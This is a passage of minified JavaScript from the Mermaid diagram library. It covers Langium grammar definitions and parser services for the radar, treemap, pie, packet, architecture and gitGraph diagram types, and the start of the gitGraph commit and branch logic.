denTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"GRATICULE","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"circle"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"polygon"}}]},"fragment":false,"hidden":false},{"$type":"ParserRule","fragment":true,"name":"EOL","dataType":"string","definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[],"cardinality":"+"},{"$type":"EndOfFile"}]},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Group","elements":[{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@12"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@13"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"FLOAT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/[0-9]+\\\\.[0-9]+(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"INT","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"RegexToken","regex":"/0|[1-9][0-9]*(?!\\\\.)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER","type":{"$type":"ReturnType","name":"number"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@15"}},{"$type":"TerminalRuleCall","rule":{"$ref":"#/rules@16"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STRING","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/\\"([^\\"\\\\\\\\]|\\\\\\\\.)*\\"|'([^'\\\\\\\\]|\\\\\\\\.)*'/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID","type":{"$type":"ReturnType","name":"string"},"definition":{"$type":"RegexToken","regex":"/[\\\\w]([-\\\\w]*\\\\w)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NEWLINE","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WHITESPACE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"YAML","definition":{"$type":"RegexToken","regex":"/---[\\\\t ]*\\\\r?\\\\n(?:[\\\\S\\\\s]*?\\\\r?\\\\n)?---(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"DIRECTIVE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%{[\\\\S\\\\s]*?}%%(?:\\\\r?\\\\n|(?!\\\\S))/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"SINGLE_LINE_COMMENT","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*%%[^\\\\n\\\\r]*/"},"fragment":false}],"interfaces":[{"$type":"Interface","name":"Entry","attributes":[{"$type":"TypeAttribute","name":"axis","isOptional":true,"type":{"$type":"ReferenceType","referenceType":{"$type":"SimpleType","typeRef":{"$ref":"#/rules@2"}}}},{"$type":"TypeAttribute","name":"value","type":{"$type":"SimpleType","primitiveType":"number"},"isOptional":false}],"superTypes":[]}],"definesHiddenTokens":false,"hiddenTokens":[],"types":[],"usedGrammars":[]}`)),"RadarGrammar"),Sje=Tt(()=>Yme??(Yme=Zc(`{"$type":"Grammar","isDeclared":true,"name":"Treemap","rules":[{"$type":"ParserRule","fragment":true,"name":"TitleAndAccessibilities","definition":{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"accDescr","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@2"},"arguments":[]}},{"$type":"Assignment","feature":"accTitle","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@3"},"arguments":[]}},{"$type":"Assignment","feature":"title","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@4"},"arguments":[]}}],"cardinality":"+"},"definesHiddenTokens":false,"entry":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"BOOLEAN","type":{"$type":"ReturnType","name":"boolean"},"definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"true"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"false"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_DESCR","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accDescr(?:[\\\\t ]*:([^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)|\\\\s*{([^}]*)})/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ACC_TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*accTitle[\\\\t ]*:(?:[^\\\\n\\\\r]*?(?=%%)|[^\\\\n\\\\r]*)/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"TITLE","definition":{"$type":"RegexToken","regex":"/[\\\\t ]*title(?:[\\\\t ][^\\\\n\\\\r]*?(?=%%)|[\\\\t ][^\\\\n\\\\r]*|)/"},"fragment":false,"hidden":false},{"$type":"ParserRule","entry":true,"name":"Treemap","returnType":{"$ref":"#/interfaces@4"},"definition":{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@6"},"arguments":[]},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@0"},"arguments":[]},{"$type":"Assignment","feature":"TreemapRows","operator":"+=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@14"},"arguments":[]}}],"cardinality":"*"}]},"definesHiddenTokens":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"TREEMAP_KEYWORD","definition":{"$type":"TerminalAlternatives","elements":[{"$type":"CharacterRange","left":{"$type":"Keyword","value":"treemap-beta"}},{"$type":"CharacterRange","left":{"$type":"Keyword","value":"treemap"}}]},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"CLASS_DEF","definition":{"$type":"RegexToken","regex":"/classDef\\\\s+([a-zA-Z_][a-zA-Z0-9_]+)(?:\\\\s+([^;\\\\r\\\\n]*))?(?:;)?/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"STYLE_SEPARATOR","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":":::"}},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"SEPARATOR","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":":"}},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"COMMA","definition":{"$type":"CharacterRange","left":{"$type":"Keyword","value":","}},"fragment":false,"hidden":false},{"$type":"TerminalRule","hidden":true,"name":"WS","definition":{"$type":"RegexToken","regex":"/[ \\\\t]+/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"ML_COMMENT","definition":{"$type":"RegexToken","regex":"/\\\\%\\\\%[^\\\\n]*/"},"fragment":false},{"$type":"TerminalRule","hidden":true,"name":"NL","definition":{"$type":"RegexToken","regex":"/\\\\r?\\\\n/"},"fragment":false},{"$type":"ParserRule","name":"TreemapRow","definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"indent","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[]},"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"Assignment","feature":"item","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@16"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@15"},"arguments":[]}]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"ClassDef","dataType":"string","definition":{"$type":"RuleCall","rule":{"$ref":"#/rules@7"},"arguments":[]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Item","returnType":{"$ref":"#/interfaces@0"},"definition":{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@18"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@17"},"arguments":[]}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Section","returnType":{"$ref":"#/interfaces@1"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]},{"$type":"Assignment","feature":"classSelector","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}}],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"ParserRule","name":"Leaf","returnType":{"$ref":"#/interfaces@2"},"definition":{"$type":"Group","elements":[{"$type":"Assignment","feature":"name","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@23"},"arguments":[]}},{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"?"},{"$type":"Alternatives","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@9"},"arguments":[]},{"$type":"RuleCall","rule":{"$ref":"#/rules@10"},"arguments":[]}]},{"$type":"RuleCall","rule":{"$ref":"#/rules@19"},"arguments":[],"cardinality":"?"},{"$type":"Assignment","feature":"value","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@22"},"arguments":[]}},{"$type":"Group","elements":[{"$type":"RuleCall","rule":{"$ref":"#/rules@8"},"arguments":[]},{"$type":"Assignment","feature":"classSelector","operator":"=","terminal":{"$type":"RuleCall","rule":{"$ref":"#/rules@20"},"arguments":[]}}],"cardinality":"?"}]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"INDENTATION","definition":{"$type":"RegexToken","regex":"/[ \\\\t]{1,}/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"ID2","definition":{"$type":"RegexToken","regex":"/[a-zA-Z_][a-zA-Z0-9_]*/"},"fragment":false,"hidden":false},{"$type":"TerminalRule","name":"NUMBER2","definition":{"$type":"RegexToken","regex":"/[0-9_\\\\.\\\\,]+/"},"fragment":false,"hidden":false},{"$type":"ParserRule","name":"MyNumber","dataType":"number","definition":{"$type":"RuleCall","rule":{"$ref":"#/rules@21"},"arguments":[]},"definesHiddenTokens":false,"entry":false,"fragment":false,"hiddenTokens":[],"parameters":[],"wildcard":false},{"$type":"TerminalRule","name":"STRING2","definition":{"$type":"RegexToken","regex":"/\\"[^\\"]*\\"|'[^']*'/"},"fragment":false,"hidden":false}],"interfaces":[{"$type":"Interface","name":"Item","attributes":[{"$type":"TypeAttribute","name":"name","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false},{"$type":"TypeAttribute","name":"classSelector","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}}],"superTypes":[]},{"$type":"Interface","name":"Section","superTypes":[{"$ref":"#/interfaces@0"}],"attributes":[]},{"$type":"Interface","name":"Leaf","superTypes":[{"$ref":"#/interfaces@0"}],"attributes":[{"$type":"TypeAttribute","name":"value","type":{"$type":"SimpleType","primitiveType":"number"},"isOptional":false}]},{"$type":"Interface","name":"ClassDefStatement","attributes":[{"$type":"TypeAttribute","name":"className","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false},{"$type":"TypeAttribute","name":"styleText","type":{"$type":"SimpleType","primitiveType":"string"},"isOptional":false}],"superTypes":[]},{"$type":"Interface","name":"Treemap","attributes":[{"$type":"TypeAttribute","name":"TreemapRows","type":{"$type":"ArrayType","elementType":{"$type":"SimpleType","typeRef":{"$ref":"#/rules@14"}}},"isOptional":false},{"$type":"TypeAttribute","name":"title","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}},{"$type":"TypeAttribute","name":"accTitle","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}},{"$type":"TypeAttribute","name":"accDescr","isOptional":true,"type":{"$type":"SimpleType","primitiveType":"string"}}],"superTypes":[]}],"definesHiddenTokens":false,"hiddenTokens":[],"imports":[],"types":[],"usedGrammars":[],"$comment":"/**\\n * Treemap grammar for Langium\\n * Converted from mindmap grammar\\n *\\n * The ML_COMMENT and NL hidden terminals handle whitespace, comments, and newlines\\n * before the treemap keyword, allowing for empty lines and comments before the\\n * treemap declaration.\\n */"}`)),"TreemapGrammar"),Cje={languageId:"info",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Aje={languageId:"packet",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},_je={languageId:"pie",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Dje={languageId:"architecture",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Lje={languageId:"gitGraph",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Rje={languageId:"radar",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},Nje={languageId:"treemap",fileExtensions:[".mmd",".mermaid"],caseInsensitive:!1,mode:"production"},xs={AstReflection:Tt(()=>new age,"AstReflection")},ZB={Grammar:Tt(()=>xje(),"Grammar"),LanguageMetaData:Tt(()=>Cje,"LanguageMetaData"),parser:{}},JB={Grammar:Tt(()=>bje(),"Grammar"),LanguageMetaData:Tt(()=>Aje,"LanguageMetaData"),parser:{}},eF={Grammar:Tt(()=>Tje(),"Grammar"),LanguageMetaData:Tt(()=>_je,"LanguageMetaData"),parser:{}},tF={Grammar:Tt(()=>wje(),"Grammar"),LanguageMetaData:Tt(()=>Dje,"LanguageMetaData"),parser:{}},rF={Grammar:Tt(()=>kje(),"Grammar"),LanguageMetaData:Tt(()=>Lje,"LanguageMetaData"),parser:{}},nF={Grammar:Tt(()=>Eje(),"Grammar"),LanguageMetaData:Tt(()=>Rje,"LanguageMetaData"),parser:{}},iF={Grammar:Tt(()=>Sje(),"Grammar"),LanguageMetaData:Tt(()=>Nje,"LanguageMetaData"),parser:{}},Mje=/accDescr(?:[\t ]*:([^\n\r]*)|\s*{([^}]*)})/,Ije=/accTitle[\t ]*:([^\n\r]*)/,Oje=/title([\t ][^\n\r]*|)/,Pje={ACC_DESCR:Mje,ACC_TITLE:Ije,TITLE:Oje},Vf=class extends Kp{static{o(this,"AbstractMermaidValueConverter")}static{Tt(this,"AbstractMermaidValueConverter")}runConverter(t,e,r){let n=this.runCommonConverter(t,e,r);return n===void 0&&(n=this.runCustomConverter(t,e,r)),n===void 0?super.runConverter(t,e,r):n}runCommonConverter(t,e,r){let n=Pje[t.name];if(n===void 0)return;let i=n.exec(e);if(i!==null){if(i[1]!==void 0)return i[1].trim().replace(/[\t ]{2,}/gm," ");if(i[2]!==void 0)return i[2].replace(/^\s*/gm,"").replace(/\s+$/gm,"").replace(/[\t ]{2,}/gm," ").replace(/[\n\r]{2,}/gm,` +`)}}},rh=class extends Vf{static{o(this,"CommonValueConverter")}static{Tt(this,"CommonValueConverter")}runCustomConverter(t,e,r){}},Ha=class extends th{static{o(this,"AbstractMermaidTokenBuilder")}static{Tt(this,"AbstractMermaidTokenBuilder")}constructor(t){super(),this.keywords=new Set(t)}buildKeywordTokens(t,e,r){let n=super.buildKeywordTokens(t,e,r);return n.forEach(i=>{this.keywords.has(i.name)&&i.PATTERN!==void 0&&(i.PATTERN=new RegExp(i.PATTERN.toString()+"(?:(?=%%)|(?!\\S))"))}),n}},Bje=class extends Ha{static{o(this,"CommonTokenBuilder")}static{Tt(this,"CommonTokenBuilder")}}});function v6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),rF,y6);return e.ServiceRegistry.register(r),{shared:e,GitGraph:r}}var Fje,y6,aF=N(()=>{"use strict";qa();vo();Fje=class extends Ha{static{o(this,"GitGraphTokenBuilder")}static{Tt(this,"GitGraphTokenBuilder")}constructor(){super(["gitGraph"])}},y6={parser:{TokenBuilder:Tt(()=>new Fje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(v6,"createGitGraphServices");Tt(v6,"createGitGraphServices")});function b6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),ZB,x6);return e.ServiceRegistry.register(r),{shared:e,Info:r}}var $je,x6,sF=N(()=>{"use strict";qa();vo();$je=class extends Ha{static{o(this,"InfoTokenBuilder")}static{Tt(this,"InfoTokenBuilder")}constructor(){super(["info","showInfo"])}},x6={parser:{TokenBuilder:Tt(()=>new $je,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(b6,"createInfoServices");Tt(b6,"createInfoServices")});function w6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),JB,T6);return e.ServiceRegistry.register(r),{shared:e,Packet:r}}var zje,T6,oF=N(()=>{"use strict";qa();vo();zje=class extends Ha{static{o(this,"PacketTokenBuilder")}static{Tt(this,"PacketTokenBuilder")}constructor(){super(["packet"])}},T6={parser:{TokenBuilder:Tt(()=>new zje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(w6,"createPacketServices");Tt(w6,"createPacketServices")});function E6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),eF,k6);return e.ServiceRegistry.register(r),{shared:e,Pie:r}}var Gje,Vje,k6,lF=N(()=>{"use strict";qa();vo();Gje=class extends Ha{static{o(this,"PieTokenBuilder")}static{Tt(this,"PieTokenBuilder")}constructor(){super(["pie","showData"])}},Vje=class extends Vf{static{o(this,"PieValueConverter")}static{Tt(this,"PieValueConverter")}runCustomConverter(t,e,r){if(t.name==="PIE_SECTION_LABEL")return e.replace(/"/g,"").trim()}},k6={parser:{TokenBuilder:Tt(()=>new Gje,"TokenBuilder"),ValueConverter:Tt(()=>new Vje,"ValueConverter")}};o(E6,"createPieServices");Tt(E6,"createPieServices")});function C6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),tF,S6);return e.ServiceRegistry.register(r),{shared:e,Architecture:r}}var Uje,Hje,S6,cF=N(()=>{"use strict";qa();vo();Uje=class extends Ha{static{o(this,"ArchitectureTokenBuilder")}static{Tt(this,"ArchitectureTokenBuilder")}constructor(){super(["architecture"])}},Hje=class extends Vf{static{o(this,"ArchitectureValueConverter")}static{Tt(this,"ArchitectureValueConverter")}runCustomConverter(t,e,r){if(t.name==="ARCH_ICON")return e.replace(/[()]/g,"").trim();if(t.name==="ARCH_TEXT_ICON")return e.replace(/["()]/g,"");if(t.name==="ARCH_TITLE")return e.replace(/[[\]]/g,"").trim()}},S6={parser:{TokenBuilder:Tt(()=>new Uje,"TokenBuilder"),ValueConverter:Tt(()=>new Hje,"ValueConverter")}};o(C6,"createArchitectureServices");Tt(C6,"createArchitectureServices")});function _6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),nF,A6);return e.ServiceRegistry.register(r),{shared:e,Radar:r}}var qje,A6,uF=N(()=>{"use strict";qa();vo();qje=class extends Ha{static{o(this,"RadarTokenBuilder")}static{Tt(this,"RadarTokenBuilder")}constructor(){super(["radar-beta"])}},A6={parser:{TokenBuilder:Tt(()=>new qje,"TokenBuilder"),ValueConverter:Tt(()=>new rh,"ValueConverter")}};o(_6,"createRadarServices");Tt(_6,"createRadarServices")});function sge(t){let e=t.validation.TreemapValidator,r=t.validation.ValidationRegistry;if(r){let n={Treemap:e.checkSingleRoot.bind(e)};r.register(n,e)}}function L6(t=Ea){let e=Hn(ka(t),xs),r=Hn(wa({shared:e}),iF,D6);return e.ServiceRegistry.register(r),sge(r),{shared:e,Treemap:r}}var Wje,Yje,Xje,jje,D6,hF=N(()=>{"use strict";qa();vo();Wje=class extends Ha{static{o(this,"TreemapTokenBuilder")}static{Tt(this,"TreemapTokenBuilder")}constructor(){super(["treemap"])}},Yje=/classDef\s+([A-Z_a-z]\w+)(?:\s+([^\n\r;]*))?;?/,Xje=class extends Vf{static{o(this,"TreemapValueConverter")}static{Tt(this,"TreemapValueConverter")}runCustomConverter(t,e,r){if(t.name==="NUMBER2")return parseFloat(e.replace(/,/g,""));if(t.name==="SEPARATOR")return e.substring(1,e.length-1);if(t.name==="STRING2")return e.substring(1,e.length-1);if(t.name==="INDENTATION")return e.length;if(t.name==="ClassDef"){if(typeof e!="string")return e;let n=Yje.exec(e);if(n)return{$type:"ClassDefStatement",className:n[1],styleText:n[2]||void 0}}}};o(sge,"registerValidationChecks");Tt(sge,"registerValidationChecks");jje=class{static{o(this,"TreemapValidator")}static{Tt(this,"TreemapValidator")}checkSingleRoot(t,e){let r;for(let n of t.TreemapRows)n.item&&(r===void 0&&n.indent===void 0?r=0:n.indent===void 0?e("error","Multiple root nodes are not allowed in a treemap.",{node:n,property:"item"}):r!==void 0&&r>=parseInt(n.indent,10)&&e("error","Multiple root nodes are not allowed in a treemap.",{node:n,property:"item"}))}},D6={parser:{TokenBuilder:Tt(()=>new Wje,"TokenBuilder"),ValueConverter:Tt(()=>new Xje,"ValueConverter")},validation:{TreemapValidator:Tt(()=>new jje,"TreemapValidator")}};o(L6,"createTreemapServices");Tt(L6,"createTreemapServices")});var oge={};dr(oge,{InfoModule:()=>x6,createInfoServices:()=>b6});var lge=N(()=>{"use strict";sF();qa()});var cge={};dr(cge,{PacketModule:()=>T6,createPacketServices:()=>w6});var uge=N(()=>{"use strict";oF();qa()});var hge={};dr(hge,{PieModule:()=>k6,createPieServices:()=>E6});var fge=N(()=>{"use strict";lF();qa()});var dge={};dr(dge,{ArchitectureModule:()=>S6,createArchitectureServices:()=>C6});var pge=N(()=>{"use strict";cF();qa()});var mge={};dr(mge,{GitGraphModule:()=>y6,createGitGraphServices:()=>v6});var gge=N(()=>{"use strict";aF();qa()});var yge={};dr(yge,{RadarModule:()=>A6,createRadarServices:()=>_6});var vge=N(()=>{"use strict";uF();qa()});var xge={};dr(xge,{TreemapModule:()=>D6,createTreemapServices:()=>L6});var bge=N(()=>{"use strict";hF();qa()});async function bs(t,e){let r=Kje[t];if(!r)throw new Error(`Unknown diagram type: ${t}`);nh[t]||await r();let i=nh[t].parse(e);if(i.lexerErrors.length>0||i.parserErrors.length>0)throw new Qje(i);return i.value}var nh,Kje,Qje,Uf=N(()=>{"use strict";aF();sF();oF();lF();cF();uF();hF();qa();nh={},Kje={info:Tt(async()=>{let{createInfoServices:t}=await Promise.resolve().then(()=>(lge(),oge)),e=t().Info.parser.LangiumParser;nh.info=e},"info"),packet:Tt(async()=>{let{createPacketServices:t}=await Promise.resolve().then(()=>(uge(),cge)),e=t().Packet.parser.LangiumParser;nh.packet=e},"packet"),pie:Tt(async()=>{let{createPieServices:t}=await Promise.resolve().then(()=>(fge(),hge)),e=t().Pie.parser.LangiumParser;nh.pie=e},"pie"),architecture:Tt(async()=>{let{createArchitectureServices:t}=await Promise.resolve().then(()=>(pge(),dge)),e=t().Architecture.parser.LangiumParser;nh.architecture=e},"architecture"),gitGraph:Tt(async()=>{let{createGitGraphServices:t}=await Promise.resolve().then(()=>(gge(),mge)),e=t().GitGraph.parser.LangiumParser;nh.gitGraph=e},"gitGraph"),radar:Tt(async()=>{let{createRadarServices:t}=await Promise.resolve().then(()=>(vge(),yge)),e=t().Radar.parser.LangiumParser;nh.radar=e},"radar"),treemap:Tt(async()=>{let{createTreemapServices:t}=await Promise.resolve().then(()=>(bge(),xge)),e=t().Treemap.parser.LangiumParser;nh.treemap=e},"treemap")};o(bs,"parse");Tt(bs,"parse");Qje=class extends Error{static{o(this,"MermaidParseError")}constructor(t){let e=t.lexerErrors.map(n=>n.message).join(` +`),r=t.parserErrors.map(n=>n.message).join(` +`);super(`Parsing failed: ${e} ${r}`),this.result=t}static{Tt(this,"MermaidParseError")}}});function nl(t,e){t.accDescr&&e.setAccDescription?.(t.accDescr),t.accTitle&&e.setAccTitle?.(t.accTitle),t.title&&e.setDiagramTitle?.(t.title)}var r0=N(()=>{"use strict";o(nl,"populateCommonDb")});var rn,R6=N(()=>{"use strict";rn={NORMAL:0,REVERSE:1,HIGHLIGHT:2,MERGE:3,CHERRY_PICK:4}});var J1,fF=N(()=>{"use strict";J1=class{constructor(e){this.init=e;this.records=this.init()}static{o(this,"ImperativeState")}reset(){this.records=this.init()}}});function dF(){return VL({length:7})}function Jje(t,e){let r=Object.create(null);return t.reduce((n,i)=>{let a=e(i);return r[a]||(r[a]=!0,n.push(i)),n},[])}function Tge(t,e,r){let n=t.indexOf(e);n===-1?t.push(r):t.splice(n,1,r)}function kge(t){let e=t.reduce((i,a)=>i.seq>a.seq?i:a,t[0]),r="";t.forEach(function(i){i===e?r+=" *":r+=" |"});let n=[r,e.id,e.seq];for(let i in Dt.records.branches)Dt.records.branches.get(i)===e.id&&n.push(i);if(X.debug(n.join(" ")),e.parents&&e.parents.length==2&&e.parents[0]&&e.parents[1]){let i=Dt.records.commits.get(e.parents[0]);Tge(t,e,i),e.parents[1]&&t.push(Dt.records.commits.get(e.parents[1]))}else{if(e.parents.length==0)return;if(e.parents[0]){let i=Dt.records.commits.get(e.parents[0]);Tge(t,e,i)}}t=Jje(t,i=>i.id),kge(t)}var Zje,n0,Dt,eKe,tKe,rKe,nKe,iKe,aKe,sKe,wge,oKe,lKe,cKe,uKe,hKe,Ege,fKe,dKe,pKe,N6,pF=N(()=>{"use strict";pt();tr();qn();gr();ci();R6();fF();La();Zje=ur.gitGraph,n0=o(()=>Vn({...Zje,...Qt().gitGraph}),"getConfig"),Dt=new J1(()=>{let t=n0(),e=t.mainBranchName,r=t.mainBranchOrder;return{mainBranchName:e,commits:new Map,head:null,branchConfig:new Map([[e,{name:e,order:r}]]),branches:new Map([[e,null]]),currBranch:e,direction:"LR",seq:0,options:{}}});o(dF,"getID");o(Jje,"uniqBy");eKe=o(function(t){Dt.records.direction=t},"setDirection"),tKe=o(function(t){X.debug("options str",t),t=t?.trim(),t=t||"{}";try{Dt.records.options=JSON.parse(t)}catch(e){X.error("error while parsing gitGraph options",e.message)}},"setOptions"),rKe=o(function(){return Dt.records.options},"getOptions"),nKe=o(function(t){let e=t.msg,r=t.id,n=t.type,i=t.tags;X.info("commit",e,r,n,i),X.debug("Entering commit:",e,r,n,i);let a=n0();r=tt.sanitizeText(r,a),e=tt.sanitizeText(e,a),i=i?.map(l=>tt.sanitizeText(l,a));let s={id:r||Dt.records.seq+"-"+dF(),message:e,seq:Dt.records.seq++,type:n??rn.NORMAL,tags:i??[],parents:Dt.records.head==null?[]:[Dt.records.head.id],branch:Dt.records.currBranch};Dt.records.head=s,X.info("main branch",a.mainBranchName),Dt.records.commits.has(s.id)&&X.warn(`Commit ID ${s.id} already exists`),Dt.records.commits.set(s.id,s),Dt.records.branches.set(Dt.records.currBranch,s.id),X.debug("in pushCommit "+s.id)},"commit"),iKe=o(function(t){let e=t.name,r=t.order;if(e=tt.sanitizeText(e,n0()),Dt.records.branches.has(e))throw new Error(`Trying to create an existing branch. (Help: Either use a new name if you want create a new branch or try using "checkout ${e}")`);Dt.records.branches.set(e,Dt.records.head!=null?Dt.records.head.id:null),Dt.records.branchConfig.set(e,{name:e,order:r}),wge(e),X.debug("in createBranch")},"branch"),aKe=o(t=>{let e=t.branch,r=t.id,n=t.type,i=t.tags,a=n0();e=tt.sanitizeText(e,a),r&&(r=tt.sanitizeText(r,a));let s=Dt.records.branches.get(Dt.records.currBranch),l=Dt.records.branches.get(e),u=s?Dt.records.commits.get(s):void 0,h=l?Dt.records.commits.get(l):void 0;if(u&&h&&u.branch===e)throw new Error(`Cannot merge branch '${e}' into itself.`);if(Dt.records.currBranch===e){let p=new Error('Incorrect usage of "merge". Cannot merge a branch to itself');throw p.hash={text:`merge ${e}`,token:`merge ${e}`,expected:["branch abc"]},p}if(u===void 0||!u){let p=new Error(`Incorrect usage of "merge". Current branch (${Dt.records.currBranch})has 